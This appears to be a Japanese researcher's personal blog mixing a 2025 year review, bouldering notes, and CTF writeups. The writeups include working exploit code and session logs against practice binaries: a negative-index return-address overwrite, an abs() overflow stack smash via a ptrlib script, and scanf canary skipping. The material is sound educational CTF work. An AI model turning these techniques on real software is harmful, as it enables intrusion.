2025年の振り返り
博士取得やUKでポスドクをはじめたりなどがあった。博士号取得は正直去年という感覚が否めないのと、以前書いていた2024年度を振り返ってという未公開記事と被っているので、主に4月以降のUKについてからの話をまとめる。blueskyを見ながらなんとなく思い出していきたい。
入国
https://bsky.app/profile/moratorium.bsky.social/post/3llglm6jdt22e
https://bsky.app/profile/moratorium.bsky.social/post/3llizbpz4fk27
https://bsky.app/profile/moratorium.bsky.social/post/3lljpdh27qk27
https://bsky.app/profile/moratorium.bsky.social/post/3llognmhlts2x
懐かしい。とにかく(大学の優しいシステムのおかげで)家だけががあり、ほかは何も無い状況からスタートしたので、まあもちろん何もない状況よりはよかったものの、かなり色々手探りで大変だった。上のポストにもあるように、まずインターネットがなく、家にmobile回線が届かないので、寒い中まだ使えた東大のeduroamアカウントを使って諸々を調べざるをえなかった。主に、インターネットがない影響で、家の中でやることが本当になく、eduroamで適当に動画をダウンロードしてオフラインで見るなどをしていた気がする。
https://bsky.app/profile/moratorium.bsky.social/post/3llognmhlts2x
ちなみに未だに僕より英語喋るのが下手なやつみたことない、blueskyを見ていると当初はかなり英語が終わっていることを気にしていたっぽいが、強い心を手に入れることで解決してしまった(そういうことをしていると英語力は大して伸びない)
研究
- 4月直後は博士中にやっていた話を終わらせた。あとから思うともう少し練れた部分は多かったのではないかと思わなくはないが、まあ新天地での研究に集中したかったので仕方がない
- 個人的にまだ発展性があると思っているのでこちらもほそぼそ続けていきたい
- また、予算関係で面倒が発生したため、海外学振に急遽申請することにしたため4月末は思ったよりもこちらの研究ができなくて困った記憶がある。予算って突然消えることがあるんだ。ちなみに無事通ったため、日本政府が狂ったり日本円が狂ってしまわない仮定の上で数年の安定を得た
- こちらの研究室に来て一番良かったのは、クソデカコラボレーションで研究を回すというのができた点。たまに https://bsky.app/profile/moratorium.bsky.social/post/3lt4xfsfls22w のような気分になることもあったが、全体的には今まで(手数含めなかなか一人で回すのは難しいので)やれてこなかった実際のソフトウェアに自動検証を応用する研究を実際に行うことができており、これ自体はかなり気分が良い。
- ちなみにこのブログを読んでいる人が興味があるのかは謎ですが、大雑把に何の研究をしているかを書いておくと、C(やunsafe rust)で書かれたシステムプログラムの検証手法を研究しています。この分野は非常に長い研究の歴史があるわけですが、我々のアプローチは実用と研究のギャップを埋めるためのyet anotherな方法論を提示するという観点で「仕様を書くと即それがテストに利用できるし、さらに仕様・証明を書いていくと、信頼性を向上していけるような枠組み」というものを分離論理上の検証システムとして実装しています。
- このようなシステムプログラムの(ほぼ全自動な)検証手法はAI時代においてますます輝く、今まで人類の手に届きそうでギリギリ届かなかった聖杯の一つだと思っていて、特にLeanのような定理証明支援系のコードの自動生成が注目されがちなものの、LLM時代においてもつきまとうだろう証明と実装の保守運用という問題に対する一つの解決策のひとつなんじゃないかなと思っています。
- 来年以降のAI性能がどうなるかイマイチ読めないものの、特に現代のCoding Agentの成功を見ると、test-debugを通して検証を遂行する枠組みはその意味でもかなりAIと親和性が高いのではないかと思っていて、その上でAIが利用できるより強固なPL的土台を構築していくことが全体の検証精度向上に大切だろうと思っているんですが、来年以降どうなるやら。実は全部AIってやつでなんとかできるかもしれません。
訪問国・地域
- エディンバラ・グラスゴー
- バルセロナ
- 旅行で行った
- サグラダ・ファミリアには入れず(は?)
- 旧市街やいくつかのガウディの建築物、グエル公園や浜辺も訪れたが、最終的に一番良かったなと感じたのは(やや居住エリアで観光客としてのこのこ行くのが少しはばかられたのと、途中にいた放し飼いの番犬が突然近寄ってきて命の危機を感じた点を除けば)Bunkers del Carmelという場所で、バルセロナの市街や海を一望できてかつそこまで混んでない個人的なお気に入り
- あとはバルセロナ郊外のモンセラートにもいって、ここも良かった、岩とか登れる
- アイラ島
- 旅行で、ウイスキー蒸留所巡りを
- Laphroaig, Lagavulin, Kilchomanの3つの蒸留所を訪問した
- Lagavulinではexperienceに行き、Lagavulin 26年を飲み、これが今までの人生で飲んだことのあるもっとも価値のあるウイスキーとなった
- 蒸留所ツアー的な観点では、Kilchomanの体験がかなり良かった。まず、visitor centreが新しめで、大きな暖炉があったりクオリティの高いランチが食べられるレストランがあったりなど見学者のための施設自体が洗練されていた点や、割と大量にタダ同然で多様な種類のウイスキーを飲むことができるバーなどもあり、バスが通ってないという難点を鑑みてもおすすめするならここだなという感じ
- ちなみに、アイラ島は思ったよりもでかく、東京23区くらいの大きさがあるらしい。間違っても歩いて回れると思ってはいけない
- 島の至る所に羊がおり、かなりかわいい。実際自然がかなり豊かで、Puffinなども実はいい時期に行くと見られるらしい。
- その他イギリスの地域
- ケンブリッジ(は?)
- 未だに行ったことのない場所も多いが、有名アクティビティはさすがに網羅した、パンティングとかね。
- collegeはKing’s, Trinity, Queen’s, St John’s, Clareには入ったし、他にも入った事がある場所があるが、失礼なので名前を忘れてしまった。個人的に、おすすめするなら、やはりKing’s collegeのチャペルで、とはいえ、個人的にはQueen’s collegeのこぢんまりとした感じも好き
- パソカタオタク向けケンブリッジオススメスポットとしては、公式Raspberry Piショップがあり、これは世界唯一のはず(そもそも需要がね。。)。見た目はAppleストアと見紛う感じで、ただ中に入ると多様なRaspberry Piやその拡張アタッチメントが売られている。Tシャツやマグもあるが、実はこれはショップ限定ではなく、オンラインで買える。
- もう一つのパソカタ向けスポットは、ひょっとすると弊デパートメントかもしれないが、それをのぞくと、The Centre for Computing Historyで、ここにはクソデカCPU(レジスタ等の動作がLEDのチカチカで可視化されている)が置かれていたり、古いMacやらゲーム機やらが置かれており、近現代のコンピュータを感じられる
- 他にもボルダリング、植物園、博物館pubといったものも当然あるし、クリスマスマーケットやら、教会やら、無意味に広大な草原やら、日本ではあまり見ないものが多いので、単に観光できても数日は楽しめる(なおその後…)。なので皆さん会いに来てください。
- Ely
- でかい大聖堂がある
- Cam川の続きが流れており、いい感じの川辺があり、良い
- ロンドン
- https://bsky.app/profile/moratorium.bsky.social/post/3lx57wdwkek2v
- 大英博物館で、ロゼッタストーンやミイラを一度くらい見ておいてもバチは当たらないかもしれないとおもって、見に行った。
- ミュージカルも3本見た(Wicked, Phantom of the opera, les miserables)。問題として英語が聞き取れん
- ロンドン塔、Victoria and Albert Museum、ビッグベンなどwestminster周辺、バッキンガム宮殿など有名どころは訪れた
- Kew Gardenというロンドンの西にある大きな公園があり、ここが思いの外良かった。アクセスが悪いのが難点だが。heathrowに近く、頭上をブンブン飛行機が飛んでいる
- ケンブリッジ(は?)
- パリ
- 学会で訪問
- 到着した日がちょうど2024-2025年シーズンのChampions Leagueの決勝の日と被っており、街中がカオスで良かったような最悪だったようなという経験だった。結果的にパリ・サンジェルマンが優勝したっぽく、優勝後はそこらじゅうで素人がロケット花火をあげたり、クラクションをならしながら走行する車がいたり、広場で暴走するバイクがいたりしていて、命の危険すら感じたが、ある意味で面白い経験ではあった(あとから思うと)
- 4月から12月の間で、海外で寿司っぽいものを唯一食べたのがパリだったが、その店がかなり微妙で、さも問題が何一つないかのような顔をするのが難しかった
- 学会のバンケットがかなり良かった。そこで出たワインが個人的に結構良かったなと思ったので、知り合いのフランス人にその話をしたところ、まあ別にそんなことないという反応をされて、悲しくなった
- シンガポール
- 学会で訪問
- ホテル代を低めに抑えたら、今まで泊まったことのあるホテルの中では、かなり最悪寄りのホテルでつらかった。まず、なんか玄関がよくわからん匂いがする。これはあとから気付いたが、床清掃のための洗剤の匂いの模様で、その意味では清潔さの犠牲かもしれない。また、シャワーとトイレが一体型(仕切りがいっさいなく、シャワーをすると便器が濡れるような状態)で、最初どうすればよいか困惑した。ちなみに、あとから知ったがこれは東大三鷹寮も同様らしい。
- https://bsky.app/profile/moratorium.bsky.social/post/3m3hwm4yjhs2f
- 一番すごいなと思ったのは空港隣接の商業施設Jewelで、ただでさえ蒸し暑いのに、天井から落ちてくるクソデカ滝により、フードコートが熱帯雨林になっていた、エグい。とはいえ壮観なことには間違いなく、涼しい部屋でinstagram越しに見るのが一番良いだろうなと思った。
- changi空港は、今まで行ったことのある空港の中では一番規模が大きく綺麗だったように感じる。一方ヒースローは。
- Latisana? Lignano Sabbiadoro? (Venice?)
- BunkyoWesternsの人が集まらなかったっぽいので、まあ近いしryanairで200ポンドでいけるしということでノコノコついていった。ちゃんとした方のCTFであんまり仕事できなかったので、事実上リアルワールドCTFという名のワクワク宝探しで歩き回る労働力だけ提供した。優勝に貢献できたとはさすがに言えませんね…
- ホテルのご飯が本当に美味しくなかった。本当に美味しくなかった。
- Veniceの空港に到着して、そこから電車に乗る乗り換えのタイミングで10分くらいVeniceを観光した。駅前だけでも普通に美しかったが、ゴンドラに乗ったりさすがにしたかったのでまた再訪しよう(そもそもStanstedに行くまでの電車が突然キャンセルされてかなり困った、結局空港に1時間前についたが、やたらと荷物検査がすぐに終わったのでなんとか間に合った、こういうときに限ってryanairは大して遅延しないので許せない)
- あまりに金をケチりすぎたので、VeniceからStanstedに行く飛行機が早朝で、しかも休日の場合電車がないことに前日に気づいたので、なくなく最終日前にVenueを出発し、50ユーロくらいのMestreのホステルに泊まった。さすがに金をケチり過ぎである。とはいえ、同室になった人との会話は割と楽しかった。一人が中国出身でミラノのコンセルバトワールで音楽を習っているという話で、イタリア語がペラペラですごかった。
- 日本(は?)
- 渋谷行ったら人多くてウケた
- 改めて考えると日本の都市はどこもクソでかいと思う
- 東大正門がよく分からん紫色のライトアップしてて、Tiktoker/インスタグラマーに媚びてんのかなと思いました、あれいる?
その他
- ICC作問、いっちょ噛みだけした。5,6月くらいに問題を作ったが、気づいたらAIが解けるようになっていて、かなり焦った、直前で修正して多少改善したが、ひょっとすると5.2 Codexとかなら解けてしまうかもしれない。コンパイラ等のロジックバグを問題にするのが好き寄りだったが、こういった問題はAIの得意分野だと思うので、作問がかなり難しい時代になったなと思うし、来年にはもう成立する問題が作れないかもしれない
- Alpacahack: 最後のpwn回に参加した、楽しかったねえ。6時間で終わるAlpacahack、本当にドーパミン中毒のクソガキ向けコンテンツだと思っていて、気持ちがいいんですよね、これがAIによって潰されると思ったら許せねえよ、なんとかなりませんか?
- Daily Alpacahackの作問も最初期に本当にいっちょ噛みだけした、気づいたら一億問くらい問題が作られており、完全に笑っていた。実は12月5日に出題したInteger Writer、割と気に入っているbeginner向け問題で、簡単なスタック破壊問ではあるものの微妙に一捻りあって、ちょっと気持ちがいいんですよね。皆さん見てみてください。実際、(coding agentだとさすがに基本解けるが)Thinkingでは必ずしも解けるか解けないかガチャが入る感じの問題になっており、まだまだAIには負けんぞという気持ちを新たにできます。
- 日本に帰ってきた際に飲んでくれた方々(飲んでくれる予定の方々)ありがとうございます。日本楽しすぎという気持ちになるので、困りました
- ケンブリッジ大学の日本人会でもところどころ顔を出して、微妙に自分の研究について発表をしたりもした。プログラムの自動検証を人に伝えるの結構難しくなんとなくニュアンスを伝えようと思ってひたすらみじん切りが停止するのかどうかについて議論する変な人をしたりした。こちらにいる日本人PhD・ポスドクはほとんどが医療・生命科学系でなかなか肩身が狭い、コンピュータ科学系に来る人がいたらお声がけください
- 人生パートでももろもろがありました、あったらしいです
https://bsky.app/profile/moratorium.bsky.social/post/3lnvlyjhsg22f
気づいたら日本時間でもう年を超えそうなので、done is better than perfectということで終わらせるか。来年もよろしくおねがいします。
Daily AlpacaHack 12月5日 -- "Integer Writer" writeup
書いておくと良いかなと思ったので書きました。
概要
指定されたインデックスの配列要素に整数を書き込むプログラムで、pos が100以上かどうかのチェックはあるが、負の値のチェックが存在しません。なので配列外に書き込みができます。
void win() { execve("/bin/sh", NULL, NULL); } int main(void) { int integers[100], pos; printf("pos > "); scanf("%d", &pos); if (pos >= 100) { puts("You're a hacker!"); return 1; } printf("val > "); scanf("%d", &integers[pos]); return 0; }
問題の趣旨と攻略のポイント
一般にこのようなスタック上の配列外参照がある場合にまず考えるのが、returnアドレスの書き換えによる処理の乗っ取りです *1 。その場合に最初に考える上書き先は mainから mainの呼び出し元(glibcなら__libc_start_main)へのreturnアドレスではないでしょうか。しかし、今回はそれが防がれているのでどうしよう、という趣旨の問題でした。
結論としては、scanfの関数呼び出し時に利用されるリターンアドレスを上書きすることを目指します。
scanfの仕組みとexploitの方針
ポイントは、
- scanfは、ポインタを受け取ってそのアドレスに値を書き込む
- scanf呼び出しによるスタックフレームはmain関数のフレームより上(アドレス上位)に構築される
の2点です。
まず、scanfの動作について簡単に見てみましょう。scanf("%d", &integers[pos]) は、「整数をstdinから読み取ってください。そしてその結果を渡したアドレスに書き込んでください」という意味になります。実際、scanf("%d", &integers[pos]); は以下の手順で動作します。
- 呼び出し:
mainがscanfを呼び出す。この時、その呼出の リターンアドレス をスタックに保存 - 書き込み:
scanfは渡されたアドレス&integers[pos]に対して、ユーザからの入力値を書き込む - 復帰:
scanfの処理が終わると、1. で保存したリターンアドレスを取り出し、そこへジャンプして戻る
より具体的には、上述の scanf("%d", &integers[pos]); の呼び出しが行われた直後のスタックフレームが以下のように構築されます。
低位アドレス (Low Address)
^
| +-----------------------+
| | scanf Stack Frame |
| +-----------------------+
| | Return Address | <--- integers[-6] (Target)
| | (scanf -> main) |
| +-----------------------+
| | .... |
| +-----------------------+
| | int pos |
| +-----------------------+
| | int integers[0] |
| | ... |
| | int integers[99] |
| +-----------------------+
| | ... |
| +-----------------------+
| | Return Address |
| | (main -> ... ) |
| +-----------------------+
v
高位アドレス (High Address)
通常は integers 配列の中に書き込むため安全ですが、今回は pos に負の値(-6)を指定することで(以下にgdbでの計算方法を示します)、書き込み先のアドレスを 「1. で保存したリターンアドレスの場所」 に一致させることができます。
つまり、scanf は1で保存しておいた自分自身が戻るためのアドレスを、2のタイミングでユーザが入力した値(win関数のアドレス)で上書きしてしまう ことになります。
その結果、手順 3. で復帰しようとした瞬間、本来の main ではなく win 関数へとジャンプします。
Exploitの流れ
offsetの特定
(gdb) b __isoc99_scanf ... (gdb) run ... pos > Breakpoint 2, __isoc99_scanf (format=0x402013 "%d") at ./stdio-common/isoc99_scanf.c:25 (gdb) c Continuing. 42 val > Breakpoint 2, __isoc99_scanf (format=0x402013 "%d") at ./stdio-common/isoc99_scanf.c:25
今 42 を入れたので、これがstackに乗っているはずで、実際 scanfの始まり (call直後)にbreakポイントを置いたところ、以下のようになっているのがわかります
(gdb) x/10wx $rsp 0x7fffffffe3d8: 0x004012ca 0x00000000 0x00000000 0x00000000 0x7fffffffe3e8: 0x00000000 0x0000002a 0x00000000 0x00000000 0x7fffffffe3f8: 0x00000000 0x00000000
一番上が今callによってpushされたばかりのリターンアドレスで、0x0000002aは、42の16進表現です。その下が、integersになります(もう少しちゃんと調べられますが、まあこんな感じで当たりつけるのをよくやります)。intの大きさは4なので、
(gdb) p (0x7fffffffe3f0 - 0x7fffffffe3d8)/4 $1 = 6
が得られます。
exploit
> nm chal | grep win
00000000004011d6 T win
> python3 -c "print(0x4011d6)"
4198870
> nc 34.170.146.252 51272
pos > -6
val > 4198870
cat flag*
Alpaca{D0_y0u_th1nk_th3_st4ck_gr0ws_upw4rd_0r_d0wnw4rd?}
まとめ
このように、与えられたバイナリ特有の制約のもとで、バイナリの挙動をよく理解し、どのようにすれば処理を乗っ取ることができるかを考えるパズルがpwnの醍醐味の一つです。幸いAlpacaHackには既に入門向けの比較的かんたんな問題も多くそろっているので、ぜひ他の問題や今後のDaily Alpacahackにも挑戦してみてください。
ボルダリング 2024
昨年の記事 御殿下ボルダリング壁日誌2023 - 欣快の至り を改めて見直していたら、今年も何かしらのまとめを書いておきたくなってきたので簡単にまとめることにする。 昨年は「御殿下ボルダリング壁日誌2023」と題して記事を書いたが、今年はメインの壁が大学の御殿下から、スポドリ!(大学近辺で空いているそれなりに広い壁なので良い)や、B-PUMP 秋葉原(混みすぎていて気が狂う)に移ったので、もう「ボルダリング2024」としか言えなくなった。というのも今年の2月に御殿下のセットが更新され、初心者向けになったので高グレードの課題が減ってしまったため、通うモチベが減ってしまったのが原因である。前回のセットをもう少し楽しみたかった...
昨年と今年のボルダリング体験の違いは、成長がサチってきているかどうかにあると思う。昨年の記事を見てもらうとわかるように、昨年は、登るたびになにか新しいことができるという感覚があったが、今年は自分の感覚として強くなっていっているのか正直分からないという状態がずっと続いていた。おそらくさらにステップアップするにはもっと真摯に壁を登ることが必要だと思われるが、単に趣味として楽しいという感情のもとただ登るだけを繰り返していたのが原因である。まあ趣味なので別に良いが。実際、秋パンのグレードでいうと去年の年末に3級を初めて登れたが*1、今年も別に3級が余裕になることはなかったし、2級は手がつかないという状態が続いている。
今年も引き続きTSGの1チャンネルを不法占拠して壁メイツを募ったり議論していたりしていたが、ここに魔法少女の影🪄 さんがこんなスレを立てていた。
ここであげた課題を軸に今年のボルダリングを振り返ろうと思う。
私の印象に残っている課題は
- 2022年御殿下壁の4級紫 (c.f. 4級(黄)2022 | 御殿下ボルダリング)
- 秋パンA壁白ホールド3級 (c.f. https://www.instagram.com/p/C9NBQwkymvg/)
- スポドリ紫ホールドG壁3級 (スポドリ公式垢にあった動画消されてて悲しい)
- 現スポドリE壁黄ホールド2級 (https://www.instagram.com/p/C_N61ldS87x/?img_index=3)
- 現スポドリC壁赤ホールド3級 (https://www.instagram.com/p/C8wz6xwSnrF/?img_index=5)
- moonboardのin on the action (https://x.com/moratorium08/status/1807030522952249400)
などである。上に書いた課題は、何回も打ち込んだ結果できたものばかりなので必然的によく行ったジムに限定されているが、今年はこれ以外にも荻パン、Basecamp新橋、factory、新宿ロッキーあたりに訪問した。岩は今年も登らなかった。 一緒に登ってくれた各位はありがとうございました。また来年も一緒に登ってください。
2022年御殿下壁の4級紫
2022年セットの壁は良かった...この紫の課題は写真を見てもらうとわかるように、クモ型の謎ホールドをたくさん掴まなければいけない。特に初手が核心で、かなり強い振られを正確に蜘蛛ホールドの1部をピンチすることで止める必要があり、御殿下4級の中でもかなり苦戦した課題だった。結局2022年のセットは2月に、まだまだ打ち込める状態でなくなってしまい(3級の垂壁課題を1つクリアしたが、そこでタイムアップ)、セットが大きく易化してしまった。
とはいえ実はまだ2024年壁も全クリはしていない。インターネットに情報が一切ないので参照が不可能なのだが*2、黄緑色の3級とオレンジ色の2級が残されており、実はこれは3月からずっとこの状態である。オレンジは結局想定ムーブがあんまりわからないので放置しているが、黄緑3級は絶妙に掴めないフットホールドを掴む課題があり、これは今年中にクリアしたい課題だった。徐々につかめるようになってきてはいるが、まだ少し遠い。
あと、御殿下はある程度まぶされているので、結構自作の課題(笑)を作った。特に5月ごろはハマっていた。掴めそうで掴めなかったり、謎ムーブでなら取れる課題 *3 みたいなのを考えるのはパズルみがあって楽しい。とはいえ自分が登れない課題は作れないので、やはり成長の観点では強い人の作った課題が楽しみたいという気持ちになっていき(あとは、御殿下のまぶしが弱めで単に課題が作りにくい(言い訳))、最近は飽きてしまった。
秋パンA壁白ホールド3級
今年も秋パンもそれなりに行った。回数は分からない。問題点は、混み過ぎなところ。去年からさらに人が増えたように思う。
実際のところ、それほど頻度高く秋パンに行ったわけではなく、複数回の訪問を重ねてできた課題というのがこれしかなかったので、この課題を秋パン思い出課題に挙げた。初手がカチで嫌いだったり、ニーバーやトゥーなど万遍なく散りばめられた課題で秋パンあるあるで色々むずかしい要素が組み合わされた課題だったように思う。多分他の3級よりは少し甘め。
秋パンは今でも3級は打ち込んでも一日だとできないみたいな課題が多い。しかも更新頻度に対して行く頻度が少なすぎるので、次行くとなくなっているみたいなことが多く悲しい。感覚としては4級で1日打ち込んでできない課題はまずないだろうという感じだが、3級はできるわけないなとすら感じる課題もまだまだある。たまにワンちゃんを狙って2級を触ることもあるが、さすがに現状は厳しい。
正直4級登って十分楽しめし、なんなら5級をわいわい登るのでも良い。
ちなみに荻パンにも1度訪問したが、4級1個登れただけで3級は多少触ったが普通に無理だなという感じだった。sasuga...
スポドリ
今年一番行ったジム。大学から近く、いつも割と空いているが、セッターが良く更新間隔も自分のジム訪問頻度に対して適切で、それなりにホールドにお金がかかっている。しかもmoonboardがある。東京ドームマネー、いつもありがとう。課題の感じはセットのタイミングによって変わるが、4月ごろは秋パンより0.5くらい簡単だと認識していた。今は1.5くらい簡単な気がする(3級全完、2級が14(/16)個登れており、1級も2(/10)つほどできているみたいな状態)。
初めて訪問したのは、今年の4月ごろ?当時の壁では、4級は大半登れるがいくつか不可能があるなくらいの感じだった。そこから順番に不可能を解消し、3級までは全完したのだが、そのうちの一つの課題が紫ホールドG壁3級である。この課題は、4ヶ月くらいかけて登れるようになった。 スポドリは楽しい課題が多く、現在の壁でいえば、C壁赤ホールド3級は楽しいので20回くらい登っている気がする。 現在の課題だとE壁黄ホールドの2級が絶妙にきつくて好き
moonboard
スポドリにあるのでたまに取り組んでいた。初めて触れたのはちょうどボルダリング初めて1年を迎えるタイミングにおけるin on the action。いうて今でもV3しか触れないしV3も全然できん。 来年はもう少しベンチマークとして触っていきたいなと思っている。
まとめ
最後の方ちょっと書くのが適当になってしまった。徐々にサチってきているのと人生的に登るのが厳しくなってきそうだが、各位は来年も一緒に登ってくれると嬉しいです。アングラとか行きたい
TSG CTF 2024、及び、SQLite of Hand, H*, Cached File Viewerについて
改めて、TSG CTF 2024へのご参加ありがとうございました。writeupとは別に、作問した問題について所感を(日本語でカジュアルに)メモ書きしておこうと思います。
僕が関係した問題のwriteupは、こちらにまとめてあります
結局作問をしてしまった
昨年でTSG CTFでの作問は最後にしようと思っていました。 *1
そういえば、TSG CTFで僕が作問するのは最後にする予定(LIVE CTF含め)
— mora (@moratorium08) November 6, 2023
実際もうTSGにいる時間も長くないと思っているので、適切な移行は行われるべきでそれが去年のCTFという認識だったので。 加えて、D論提出締切が12月の頭にあることなどを念頭に置くと、そちらに集中したい気持ちがありました。
実際僕が作問しなくても(ちょっと人手が足りていなかったかもしれないですが)CTFとしては何も問題なかったと思います。 なので、余計なお世話をしたという部分があります。 ただ、今年のTSG CTFの優勝チームは、SEC CON CTF International Finalsにqualifyされる特典付きということがあって、"強い"チームが適切に勝てるCTFが望まれるという状況があり *2、1週間前のタイミングでの作問状況などを総合的に勘案すると、それなりに難しい問題を複数追加するとともに、pwn筋が必要な問題を複数(結果作れたpwnは1問でしたが...)作っておく方が人類が幸福になると思ったので、作問することにしました。結局こういう差し出がましいことをしてしまうので、僕は早くサークルを去ったほうがいい
結局およそ1週間ほどは全てを完全に無視して作問していたので、人生サイドにも若干の支障が出ていて、まずい
SQLite of Hand (w/ mikit)

Sleight of Handで手品って意味らしい。pwn筋問題です。SQLite3のバイトコードを好きに書けるのでシェルを起動してください。以上。 個人的にはPythonとかOCamlとかLuaとかPHPとかそういう通常の言語処理系をpwnするより、ちょっとおもしろかったと思う(SQLを処理するのにある程度特化しているのでVMがちょうどいい感じに不便で、とはいえSQLite3のコードベースは大してデカくないのでリサーチが大変ではない)が、これはただの偶然です。
ISUCON後の懇親会中にmikitくんが、「SQLite3って内部でバイトコードインタプリタになっていて、これpwnしたらおもろくね?」って言ってきたので、問題にしました。ISUCONとmikitくんありがとう... *3
これに関連して問題数が不足していたrevジャンルを増やすために、SQLite3のバイトコードのrevを出したんですが、実行可能なバイナリを配る形にはなっていなかったので、情報が本当に足りているのかは実は最後まで不安で、感情がめちゃくちゃだったので、arataくんが最初に解いてくれたときは涙が止まらなくなりました(ありがとう...)
H*

「unsoundなHaskell向け篩型システム」を実装して出すという、アイデア実現のための実装がゴリゴリな問題。実は実装言語がOCamlという意味不明な言語 & バックエンドで使用されている言語がさらに意味不明なF*及びHaskellであることを除けばそこまで難しいことはしておらず、単にパースして、F*でrefinement type checkを行ったうえで、Haskellに変換してコンパイル&実行しているだけ。 *4 想定は、OCamlとHaskellのevaluation orderの違いをexploitするもので、以下のプログラムがOCamlだと発散するのでflagへreachableなpathが存在せずsafeとして判定されるが、Haskellだと遅延評価のおかげで発散せずflagが表示される。
let rec loop:: x::Integer{1>0} -> Dv(x::Integer{0>1}) = \x -> loop x in
let n = loop 1 in
flag 1
本当はもう少し難しくしたかったが、僕がとある定理をF*で示す方法が分からなかったので諦めました。できたらまた問題にします(いいえ)

ただ、処理系を少しfancyにしたくて割り算を入れたばっかりにむしろ非想定解を生んでしまって泣きました。作者がHaskellをほとんど書いたことがないのがわかりますね
Cached File Viewer (w/azaika )

SQLiteの問題を作問しているさなか、研究室にいた azaika くんに、おもしろネタ乞食をしたところ降ってきたアイデアを 川外川で議論しながら、(半ば勝手に)問題にした。なのでこれはほとんどazaika問と言っていい。 話はC++ネタで、「多くの場合(SSOが効かない程度に長い文字列のときには)顕在化しないようなstring_viewのlifetime違反をちゃんと見つけて、exploitできますか?」という問題。 想定解であっても以下をするだけなので、easyタグをつけたが、非想定解ありの12 solvesで他の解かれ方を見ていると、難易度推定をややミスったかもしれない
$ nc 34.146.186.1 21005
1. load_file
2. read
3. bye
choice > 1
index > 1
filename > /var/lib/dpkg/info/libdb5.3t64:amd64.shlibs
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 1
filename > flag
Read 22 bytes.
content: TSGCTF{hQAz-yXc6fLoyK}
最初出した問題のミスはまじで申し訳なくて、その上で2にも残ってた /dev/fd/.. のミスは何年CTFをやっているのでしょうか?みたいなミスだった終わり。
まあでもdiscord見ていたら、keymoonくんが完全に題意を理解して解いてくれていたので happy happy happy~。 ちなみに、この問題をbruteforceなしで美しく解くには22バイトのregular fileが必要なんですが、keymoonくんと 同じ /var/lib/dpkg/info/libdb5.3t64:amd64.shlibs を僕も使いました。
AlpacaHack Round 1 (Pwn) Writeup (echo, hexecho, deck, todo)
keymoonくんが直近でずっと作り続けていた個人戦CTFプラットフォーム「AlpacaHack」の記念すべきFirst Roundに参加した。 *1 今回はptr-yudai 作問の Pwnが4問出題される6時間コンテストだった。
結果は、全完(5:20:30)で3位。以下に書くようにUbuntu 24.04を当初使っていた結果苦しんだ時間を念頭においても、1, 2位との差は大きかった。クーン

問題もあと一問ハード問足せばこれだけで24時間コンテストの問題セット(例えばSECCON quals?さすがに嘘か?)にしても良いんじゃないかという雰囲気(さすがにやや典型より過ぎかもしれないが)で、しかも6時間で解けるように設計されており非常に質が高かった。☆5です。
以下は、これからも応援しているという感情に基づくwriteup
echo
正直ちょっと舐めてたので、RTA CTF1問目くらいの難易度を想定していたら、かなり苦しんだ
int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } /* omitted */ void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); }
バイナリは、get_sizeでsizeを受け取ってその分だけget_dataをしてくれるだけのサービス。
abs(size)は、$-2^{31}$ を与えると整数オーバーフローするので(以下参照)
ubuntu@ip-172-31-19-240:~/test$ cat uo.c
#include <stdio.h>
int main(void) {
int size = -2147483648;
int size2 = abs(size);
printf("%d\n", size2);
return 0;
}
ubuntu@ip-172-31-19-240:~/test$ ./a.out
-2147483648
これをsizeに用いると(unsignedで見ると)BUF_SIZE超えのsizeを得ることができる。win関数があるので、あとはスタックオーバフローをして、retアドレスをwinに向ければよい。
from ptrlib import * binary = "./echo" elf = ELF(binary) """ libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") """ # libc = ELF("./libc.so.6") r = Socket("nc 34.170.146.252 17360") # """ def sla(*args): print(args) r.sendlineafter(*args) win = elf.symbol("win") logger.info("win: " + hex(win)) payload = p64(win) * 100 sla("Size: ", "-2147483648") sla("Data: ", payload) r.sh()
Third Blood
hexecho
長さの制限が無く入力として1バイトずつhexdecimalな数字を受け取るという以下のようなプログラム
void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); } void hexecho() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data (hex): "); get_hex(buf, size); // Show data printf("Received: "); for (int i = 0; i < size; i++) printf("%02hhx ", (unsigned char)buf[i]); putchar('\n'); }
以下のようにhexdecimalな形式で好きなだけ長いバイト列を送ることができるが、stack canaryがある。
❯ ./hexecho
Size: 4
Data (hex): 12345678
Received: 12 34 56 78
❯ checksec --file=hexecho
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
stack canaryをリークできるような余裕はないので、困ったという気持ちになるが、+や-をscanfに与えると書き込み先のバッファに何も書き込むことなく終了させることができることを思い出すと、バッファオーバーフローでcanaryの部分だけスキップして書き込むようにすればあとはROPができることが分かる。
❯ ./hexecho Size: 256 Data (hex): + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Received: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 80 bc a7 74 ff 7f 00 00 0f 5c e9 2d 68 7a 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 20 00 2e 68 7a 00 00 a0 bc a7 74 ff 7f 00 00 05 24 e9 2d 